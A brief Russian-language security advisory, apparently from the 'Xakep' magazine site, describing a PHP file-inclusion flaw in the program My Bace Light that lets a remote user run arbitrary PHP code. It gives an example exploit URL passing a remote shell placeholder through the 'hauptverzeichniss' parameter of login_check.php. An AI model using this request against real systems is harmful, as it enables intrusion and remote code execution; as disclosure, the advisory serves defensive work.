PHP-инклюдинг в My Bace Light

Рекомендуем почитать:

Xakep #303. Свой Arch Linux

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: My Bace Light

Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе.

Пример:

http://[target]/includes/login_check.php?hauptverzeichniss=[shell]